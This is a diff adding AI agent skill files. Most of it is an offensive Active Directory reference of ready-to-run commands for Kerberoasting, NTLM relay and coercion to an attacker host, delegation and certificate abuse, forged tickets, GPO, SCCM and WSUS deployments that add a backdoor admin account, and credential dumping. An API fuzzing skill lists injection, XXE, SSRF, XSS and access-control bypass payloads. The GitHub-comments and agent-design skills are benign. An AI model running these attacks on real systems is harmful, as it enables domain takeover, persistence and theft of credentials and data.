+hashcat -m 13100 tgs.txt rockyou.txt
+
+# 4. Use cracked service account
+psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
+```
+
+### Example 2: NTLM Relay to LDAP
+
+```bash
+# 1. Start relay targeting LDAP
+ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
+
+# 2. Trigger authentication (e.g., via PrinterBug)
+python3 printerbug.py domain.local/user:pass@target 10.10.10.12
+
+# 3. Use created machine account for RBCD attack
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Clock skew too great | Sync time with DC or use faketime |
+| Kerberoasting returns empty | No service accounts with SPNs |
+| DCSync access denied | Need Replicating Directory Changes rights |
+| NTLM relay fails | Check SMB signing, try LDAP target |
+| BloodHound empty | Verify collector ran with correct creds |
+
+---
+
+## Additional Resources
+
+For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

skills/active-directory-attacks/references/advanced-attacks.md

@@ -0,0 +1,382 @@
+# Advanced Active Directory Attacks Reference
+
+## Table of Contents
+1. [Delegation Attacks](#delegation-attacks)
+2. [Group Policy Object Abuse](#group-policy-object-abuse)
+3. [RODC Attacks](#rodc-attacks)
+4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
+5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
+6. [Trust Relationship Attacks](#trust-relationship-attacks)
+7. [ADFS Golden SAML](#adfs-golden-saml)
+8. [Credential Sources](#credential-sources)
+9. [Linux AD Integration](#linux-ad-integration)
+
+---
+
+## Delegation Attacks
+
+### Unconstrained Delegation
+
+When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
+
+**Find Delegation:**
+```powershell
+# PowerShell
+Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
+# BloodHound
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**SpoolService Abuse:**
+```bash
+# Check spooler service
+ls \\dc01\pipe\spoolss
+
+# Trigger with SpoolSample
+.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
+
+# Or with printerbug.py
+python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
+```
+
+**Monitor with Rubeus:**
+```powershell
+Rubeus.exe monitor /interval:1
+```
+
+### Constrained Delegation
+
+**Identify:**
+```powershell
+Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
+```
+
+**Exploit with Rubeus:**
+```powershell
+# S4U2 attack
+Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+**Exploit with Impacket:**
+```bash
+getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
+```
+
+### Resource-Based Constrained Delegation (RBCD)
+
+```powershell
+# Create machine account
+New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
+
+# Set delegation
+Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
+
+# Get ticket
+.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+---
+
+## Group Policy Object Abuse
+
+### Find Vulnerable GPOs
+
+```powershell
+Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
+```
+
+### Abuse with SharpGPOAbuse
+
+```powershell
+# Add local admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add user rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add immediate task
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
+```
+
+### Abuse with pyGPOAbuse (Linux)
+
+```bash
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+```
+
+---
+
+## RODC Attacks
+
+### RODC Golden Ticket
+
+RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
+
+### RODC Key List Attack
+
+**Requirements:**
+- krbtgt credentials of the RODC (-rodcKey)
+- ID of the krbtgt account of the RODC (-rodcNo)
+
+```bash
+# Impacket keylistattack
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# Using secretsdump with keylist
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+```
+
+**Using Rubeus:**
+```powershell
+Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
+```
+
+---
+
+## SCCM/WSUS Deployment
+
+### SCCM Attack with MalSCCM
+
+```bash
+# Locate SCCM server
+MalSCCM.exe locate
+
+# Enumerate targets
+MalSCCM.exe inspect /all
+MalSCCM.exe inspect /computers
+
+# Create target group
+MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
+
+# Create malicious app
+MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
+
+# Deploy
+MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
+
+# Force checkin
+MalSCCM.exe checkin /groupname:TargetGroup
+
+# Cleanup
+MalSCCM.exe app /cleanup /name:backdoor
+MalSCCM.exe group /delete /groupname:TargetGroup
+```
+
+### SCCM Network Access Accounts
+
+```powershell
+# Find SCCM blob
+Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
+
+# Decrypt with SharpSCCM
+.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
+```
+
+### WSUS Deployment Attack
+
+```bash
+# Using SharpWSUS
+SharpWSUS.exe locate
+SharpWSUS.exe inspect
+
+# Create malicious update
+SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
+
+# Deploy to target
+SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+
+# Check status
+SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
+
+# Cleanup
+SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+```
+
+---
+
+## AD Certificate Services (ADCS)
+
+### ESC1 - Misconfigured Templates
+
+Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
+
+# Request certificate as admin
+certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+### ESC4 - ACL Vulnerabilities
+
+```python
+# Check for WriteProperty
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
+
+# Add ENROLLEE_SUPPLIES_SUBJECT flag
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
+
+# Perform ESC1, then restore
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
+```
+
+### ESC8 - NTLM Relay to Web Enrollment
+
+```bash
+# Start relay
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Coerce authentication
+python3 petitpotam.py ATTACKER_IP DC_IP
+
+# Use certificate
+Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
+```
+
+### Shadow Credentials
+
+```bash
+# Add Key Credential (pyWhisker)
+python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
+
+# Get TGT with PKINIT
+python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
+
+# Get NT hash
+export KRB5CCNAME=target.ccache
+python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
+```
+
+---
+
+## Trust Relationship Attacks
+
+### Child to Parent Domain (SID History)
+
+```powershell
+# Get Enterprise Admins SID from parent
+$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
+
+# Create Golden Ticket with SID History
+kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
+```
+
+### Forest to Forest (Trust Ticket)
+
+```bash
+# Dump trust key
+lsadump::trust /patch
+
+# Forge inter-realm TGT
+kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
+
+# Use trust ticket
+.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
+```
+
+---
+
+## ADFS Golden SAML
+
+**Requirements:**
+- ADFS service account access
+- Token signing certificate (PFX + decryption password)
+
+```bash
+# Dump with ADFSDump
+.\ADFSDump.exe
+
+# Forge SAML token
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
+```
+
+---
+
+## Credential Sources
+
+### LAPS Password
+
+```powershell
+# PowerShell
+Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+
+# CrackMapExec
+crackmapexec ldap DC_IP -u user -p password -M laps
+```
+
+### GMSA Password
+
+```powershell
+# PowerShell + DSInternals
+$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+ConvertFrom-ADManagedPasswordBlob $mp
+```
+
+```bash
+# Linux with bloodyAD
+python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
+```
+
+### Group Policy Preferences (GPP)
+
+```bash
+# Find in SYSVOL
+findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
+
+# Decrypt
+python3 Get-GPPPassword.py -no-pass 'DC_IP'
+```
+
+### DSRM Credentials
+
+```powershell
+# Dump DSRM hash
+Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Enable DSRM admin logon
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
+```
+
+---
+
+## Linux AD Integration
+
+### CCACHE Ticket Reuse
+
+```bash
+# Find tickets
+ls /tmp/ | grep krb5cc
+
+# Use ticket
+export KRB5CCNAME=/tmp/krb5cc_1000
+```
+
+### Extract from Keytab
+
+```bash
+# List keys
+klist -k /etc/krb5.keytab
+
+# Extract with KeyTabExtract
+python3 keytabextract.py /etc/krb5.keytab
+```
+
+### Extract from SSSD
+
+```bash
+# Database location
+/var/lib/sss/secrets/secrets.ldb
+
+# Key location
+/var/lib/sss/secrets/.secrets.mkey
+
+# Extract
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+```

skills/address-github-comments/SKILL.md

@@ -0,0 +1,55 @@
+---
+name: address-github-comments
+description: Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.
+---
+
+# Address GitHub Comments
+
+## Overview
+
+Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
+
+## Prerequisites
+
+Ensure `gh` is authenticated.
+
+```bash
+gh auth status
+```
+
+If not logged in, run `gh auth login`.
+
+## Workflow
+
+### 1. Inspect Comments
+
+Fetch the comments for the current branch's PR.
+
+```bash
+gh pr view --comments
+```
+
+Or use a custom script if available to list threads.
+
+### 2. Categorize and Plan
+
+- List the comments and review threads.
+- Propose a fix for each.
+- **Wait for user confirmation** on which comments to address first if there are many.
+
+### 3. Apply Fixes
+
+Apply the code changes for the selected comments.
+
+### 4. Respond to Comments
+
+Once fixed, respond to the threads as resolved.
+
+```bash
+gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
+```
+
+## Common Mistakes
+
+- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
+- **Not verifying auth**: Check `gh auth status` before starting.

skills/api-fuzzing-bug-bounty/SKILL.md

@@ -0,0 +1,430 @@
+---
+name: API Fuzzing for Bug Bounty
+description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+---
+
+# API Fuzzing for Bug Bounty
+
+## Purpose
+
+Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
+
+## Inputs/Prerequisites
+
+- Burp Suite or similar proxy tool
+- API wordlists (SecLists, api_wordlist)
+- Understanding of REST/GraphQL/SOAP protocols
+- Python for scripting
+- Target API endpoints and documentation (if available)
+
+## Outputs/Deliverables
+
+- Identified API vulnerabilities
+- IDOR exploitation proofs
+- Authentication bypass techniques
+- SQL injection points
+- Unauthorized data access documentation
+
+---
+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+
+---
+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
+/api/news?limit=9999999999
+```
+
+---
+
+## Common API Vulnerabilities Checklist
+
+| Vulnerability | Description |
+|---------------|-------------|
+| API Exposure | Unprotected endpoints exposed publicly |
+| Misconfigured Caching | Sensitive data cached incorrectly |
+| Exposed Tokens | API keys/tokens in responses or URLs |
+| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
+| IDOR / BOLA | Broken Object Level Authorization |
+| Undocumented Endpoints | Hidden admin/debug endpoints |
+| Different Versions | Security gaps in older API versions |
+| Rate Limiting | Missing or bypassable rate limits |
+| Race Conditions | TOCTOU vulnerabilities |
+| XXE Injection | XML parser exploitation |
+| Content Type Issues | Switching between JSON/XML |
+| HTTP Method Tampering | GET→DELETE/PUT abuse |
+
+---
+
+## Quick Reference
+
+| Vulnerability | Test Payload | Risk |
+|---------------|--------------|------|
+| IDOR | Change user_id parameter | High |
+| SQLi | `' OR 1=1--` in JSON | Critical |
+| Command Injection | `; ls /` | Critical |
+| XXE | DOCTYPE with ENTITY | High |
+| SSRF | Internal IP in params | High |
+| Rate Limit Bypass | Batch requests | Medium |
+| Method Tampering | GET→DELETE | High |
+
+---
+
+## Tools Reference
+
+| Category | Tool | URL |
+|----------|------|-----|
+| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
+| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
+| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
+| API Security | apicheck | github.com/BBVA/apicheck |
+| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
+| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
+| API Toolkit | APIKit | github.com/API-Security/APIKit |
+| API Keys | API Guesser | api-guesser.netlify.app |
+| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
+| GraphQL | InQL | github.com/doyensec/inql |
+| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
+| GraphQL | graphw00f | github.com/dolevf/graphw00f |
+| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
+| GraphQL | batchql | github.com/assetnote/batchql |
+| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
+| Wordlists | SecLists | github.com/danielmiessler/SecLists |
+| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
+| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
+| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
+| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
+
+---
+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

skills/autonomous-agent-patterns/SKILL.md

@@ -0,0 +1,761 @@
+---
+name: autonomous-agent-patterns
+description: "Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants."
+---
+
+# 🕹️ Autonomous Agent Patterns
+
+> Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex).
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Building autonomous AI agents
+- Designing tool/function calling APIs
+- Implementing permission and approval systems
+- Creating browser automation for agents
+- Designing human-in-the-loop workflows
+
+---
+
+## 1. Core Agent Architecture
+
+### 1.1 Agent Loop
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                     AGENT LOOP                               │
+│                                                              │
+│  ┌──────────┐    ┌──────────┐    ┌──────────┐              │
+│  │  Think   │───▶│  Decide  │───▶│   Act    │              │
+│  │ (Reason) │    │ (Plan)   │    │ (Execute)│              │
+│  └──────────┘    └──────────┘    └──────────┘              │
+│       ▲                               │                     │
+│       │         ┌──────────┐          │                     │
+│       └─────────│ Observe  │◀─────────┘                     │
+│                 │ (Result) │                                │
+│                 └──────────┘                                │
+└─────────────────────────────────────────────────────────────┘
+```
+
+```python
+class AgentLoop:
+    def __init__(self, llm, tools, max_iterations=50):
+        self.llm = llm
+        self.tools = {t.name: t for t in tools}
+        self.max_iterations = max_iterations
+        self.history = []
+
+    def run(self, task: str) -> str:
+        self.history.append({"role": "user", "content": task})
+
+        for i in range(self.max_iterations):
+            # Think: Get LLM response with tool options
+            response = self.llm.chat(
+                messages=self.history,
+                tools=self._format_tools(),
+                tool_choice="auto"
+            )
+
+            # Decide: Check if agent wants to use a tool
+            if response.tool_calls:
+                for tool_call in response.tool_calls:
+                    # Act: Execute the tool
+                    result = self._execute_tool(tool_call)
+
+                    # Observe: Add result to history
+                    self.history.append({
+                        "role": "tool",
+                        "tool_call_id": tool_call.id,
+                        "content": str(result)
+                    })
+            else:
+                # No more tool calls = task complete
+                return response.content
+
+        return "Max iterations reached"
+
+    def _execute_tool(self, tool_call) -> Any:
+        tool = self.tools[tool_call.name]
+        args = json.loads(tool_call.arguments)
+        return tool.execute(**args)
+```
+
+### 1.2 Multi-Model Architecture
+
+```python
+class MultiModelAgent:
+    """
+    Use different models for different purposes:
+    - Fast model for planning
+    - Powerful model for complex reasoning
+    - Specialized model for code generation
+    """
+
+    def __init__(self):
+        self.models = {
+            "fast": "gpt-3.5-turbo",      # Quick decisions
+            "smart": "gpt-4-turbo",        # Complex reasoning
+            "code": "claude-3-sonnet",     # Code generation
+        }
+
+    def select_model(self, task_type: str) -> str:
+        if task_type == "planning":
+            return self.models["fast"]
+        elif task_type == "analysis":
+            return self.models["smart"]
+        elif task_type == "code":
+            return self.models["code"]
+        return self.models["smart"]
+```
+
+---
+
+## 2. Tool Design Patterns
+
+### 2.1 Tool Schema
+
+```python
+class Tool:
+    """Base class for agent tools"""
+
+    @property
+    def schema(self) -> dict:
+        """JSON Schema for the tool"""
+        return {
+            "name": self.name,
+            "description": self.description,
+            "parameters": {
+                "type": "object",
+                "properties": self._get_parameters(),
+                "required": self._get_required()
+            }
+        }
+
+    def execute(self, **kwargs) -> ToolResult:
+        """Execute the tool and return result"""
+        raise NotImplementedError
+
+class ReadFileTool(Tool):
+    name = "read_file"
+    description = "Read the contents of a file from the filesystem"
+
+    def _get_parameters(self):
+        return {
+            "path": {
+                "type": "string",
+                "description": "Absolute path to the file"
+            },
+            "start_line": {
+                "type": "integer",
+                "description": "Line to start reading from (1-indexed)"
+            },
+            "end_line": {
+                "type": "integer",
+                "description": "Line to stop reading at (inclusive)"
+            }
+        }
+
+    def _get_required(self):
+        return ["path"]
+
+    def execute(self, path: str, start_line: int = None, end_line: int = None) -> ToolResult:
+        try:
+            with open(path, 'r') as f:
+                lines = f.readlines()
+
+            if start_line and end_line:
+                lines = lines[start_line-1:end_line]
+
+            return ToolResult(
+                success=True,
+                output="".join(lines)
+            )
+        except FileNotFoundError:
+            return ToolResult(
+                success=False,
+                error=f"File not found: {path}"
+            )
+```
+
+### 2.2 Essential Agent Tools
+
+```python
+CODING_AGENT_TOOLS = {
+    # File operations
+    "read_file": "Read file contents",
+    "write_file": "Create or overwrite a file",
+    "edit_file": "Make targeted edits to a file",
+    "list_directory": "List files and folders",
+    "search_files": "Search for files by pattern",
+
+    # Code understanding
+    "search_code": "Search for code patterns (grep)",
+    "get_definition": "Find function/class definition",
+    "get_references": "Find all references to a symbol",
+
+    # Terminal
+    "run_command": "Execute a shell command",
+    "read_output": "Read command output",
+    "send_input": "Send input to running command",
+
+    # Browser (optional)
+    "open_browser": "Open URL in browser",
+    "click_element": "Click on page element",
+    "type_text": "Type text into input",
+    "screenshot": "Capture screenshot",
+
+    # Context
+    "ask_user": "Ask the user a question",
+    "search_web": "Search the web for information"
+}
+```
+
+### 2.3 Edit Tool Design
+
+```python
+class EditFileTool(Tool):
+    """
+    Precise file editing with conflict detection.
+    Uses search/replace pattern for reliable edits.
+    """
+
+    name = "edit_file"
+    description = "Edit a file by replacing specific content"
+
+    def execute(
+        self,
+        path: str,
+        search: str,
+        replace: str,
+        expected_occurrences: int = 1
+    ) -> ToolResult:
+        """
+        Args:
+            path: File to edit
+            search: Exact text to find (must match exactly, including whitespace)
+            replace: Text to replace with
+            expected_occurrences: How many times search should appear (validation)
+        """
+        with open(path, 'r') as f:
+            content = f.read()
+
+        # Validate
+        actual_occurrences = content.count(search)
+        if actual_occurrences != expected_occurrences:
+            return ToolResult(
+                success=False,
+                error=f"Expected {expected_occurrences} occurrences, found {actual_occurrences}"
+            )
+
+        if actual_occurrences == 0:
+            return ToolResult(
+                success=False,
+                error="Search text not found in file"
+            )
+
+        # Apply edit
+        new_content = content.replace(search, replace)
+
+        with open(path, 'w') as f:
+            f.write(new_content)
+
+        return ToolResult(
+            success=True,
+            output=f"Replaced {actual_occurrences} occurrence(s)"
+        )
+```
+
+---
+
+## 3. Permission & Safety Patterns
+
+### 3.1 Permission Levels
+
+```python
+class PermissionLevel(Enum):
+    # Fully automatic - no user approval needed
+    AUTO = "auto"
+
+    # Ask once per session
+    ASK_ONCE = "ask_once"
+
+    # Ask every time
+    ASK_EACH = "ask_each"
+
+    # Never allow
+    NEVER = "never"
+
+PERMISSION_CONFIG = {
+    # Low risk - can auto-approve
+    "read_file": PermissionLevel.AUTO,
